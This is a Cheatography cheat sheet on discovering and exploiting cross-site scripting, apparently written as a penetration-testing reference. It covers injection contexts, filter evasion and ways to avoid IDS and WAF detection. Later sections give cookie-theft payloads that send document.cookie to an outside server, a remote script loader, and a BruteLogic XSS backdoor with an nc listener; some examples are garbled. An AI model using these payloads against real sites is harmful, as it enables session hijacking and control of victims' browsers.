Cheatography

XSS Discovery Cheat Sheet

by binca via cheatography.com/44948/cs/13434/

Discovery Tests

Various types of payloads should be used in discovery.

Reflection tests use simple but unique strings to determine if the input is reflected. **86868686**

Filter tests use characters to determine if there is filtering or encoding present. **< > ( ) = ' " / ; [ ] $ -- # & //**

POC payloads are input meant to attempt to demonstrate the presence of CSS **<script>alert("Hello!");</script>

XSS Injection Points

Any user controllable app iput could prove vulnerable.

Submit innocuous but unique strings that allow for identification of our input in the response

Entry points include:
URL query parameter
POST parameters
HTTP headers including User-Agent, Referer, Cookie

Reflection Tests

Reflected XSS provides immediate response reflected in input.

Stored XSS may not be immediately rendered and can be in a totally different area of the app.

Unique variations of the input should be used o allow for easier identification of input resulting in XSS.

Common XSS Injection Contexts

Injection context is understanding the contextual details of the response containing our input. It is critical to having JavaScript execute where our input lands.

Most common XSS injection contexts: HTML, Tag attribute, and existing JavaScript code

HTML Considerations: The payload can be self-contained and doesn't require a particular prefix or suffix due to the context.

Common XSS Injection Contexts (cont)

Tag Attribute Considerations: The prefix option to close value assignment and possibly lose the tag **">**. Suffix usage is dependent on injected tags.

Existing JavaScript Considerations Suffix options include JS line terminator **;** and sngle line comment delimiter **//**. Often will be within a JS function so closing paranthesis might also be needed **)**

HTML Example
Payload: ****
Resulting HTML: Are you ready?

Tag Attribute Example
Event Injection: **868686" onload="alert(86)**
Resultant HTML: <input type="text" name="xss" value="868686" onload="alert(86)">

Existing JavaScript Example
Payload: **86";alert(86);//
Resultant HTML: <script>var Variable="86";alert(86);//"; </script>

Filter Tests and Bypass/Evasion

Discovering injection points that yield immediate or delayed reflection != XSS vulnerability

The next step would be to test for the presence and efficacy of filtering and encoding, as these are increasingly common

Most filtering utilizing blacklisting leaving room for evasion or bypass.

Goal is to determine whether and how filter/encoding is employed for successfully crafting XSS payloads.

Target XSS payloads that specifically do NOT require filtered characters.

Craft the payload to escape filter logic.

Encode the data to confuse or bypass the filter.

The **<script>** tag is one of the most commonly filtered tags, and next the angle brackets, but events can reference JavaScript without these. **DOM Event Handlers** sometimes provide a bypass, such as using **onerror** with a broken link.

Browser False Negatives

XSS payload execution depends on the particular vendor and version of the browser.

Most major browsers now have built-in XSS filtering capabilities. When testing for XSS a tester must make sure the browser isn't blocking the attack payload.

Options:
Use Firefox until it has active XSS filter, though it uses Content-Security-Policy HTTP header it is not a formal standard
Use an older browser, though this can cause issues in rendering HTML5 or non-eval() JSON parsing
Fully disable XSS filtering

Remember the browser is not the focus of the assessment.

POC Payloads

There are prepared fuzzing payload collections including **Fuzzdb, JBroFuzz (part of ZAP), Burp, ZAP (JBroFuzz/fuzzdb), and XSSer**

Considerations should be made for stealth, by decreasing speed and changing payloads detection by IDS and WAFs can be reduced.

Upgrades to alert( )

POC will be a static alert(x), confirm(x) or prompt(x, y)

Demonstrate domain application context with **alert(document.domain)** or **confirm(document.domain)**

Demonstrate session/content abuses with **document.cookie** or **forged in-session Requests** or **defacement**

Demonstrate external JavaScript loading with **src="//security.org/evil.js"**

Demonstrate advanced user attacks with framework through the use of **BruteLogic XSS Shell, BeEF, Metasploit escalation, etc.**

Session Hijacking

Achieved by stealing the tokens for a user's active session and reusing them.

Injected script is presented from the same origin as the session token, which allows for interaction directly with the page's DOM.

Key properties, methods and events for session hijacking:
document.cookie is the most common target
document.URL query parameter
document.forms are hidden form fields and CSRF tokens

Using **location** to send data to a server we control **will redirect** the victim's browser which makes the attack more obvious.
Example: **location='URL'+document.cookie, location.replace('-URL'+document.cookie)**

Instead of using location, the **fetch() API and function** may also be used.

Note: **document.location** and **window.location** are relatively interc-hangeable.

Session Theft Without Redirection

For less obvious session theft create a broken image that points to the cookie catching JavaScript.

<script>img=new Image(); img.src='url/cookiecatcher.php?='-+document.cookie'</script>

This assumes there is no **HttpOnly** flag set, which will restrict interaction with cookies to HTML only.

Leveraging HTTPS can help bypass egress filtering and so there is not issue with a Secure flag.

BruteLogic Interactive XSS Backdoor

XSS Injection
<svg onload=setInterval(function() {d=document; z=d.createElement("script"); z.src="URI"; d.body.appendChild(z)}, 0)>
Shell Controller (Terminal on Attacker Machine)
while: ; to printf "j $; read c; echo $c | nc -lvvp 1234 > /dev/null; done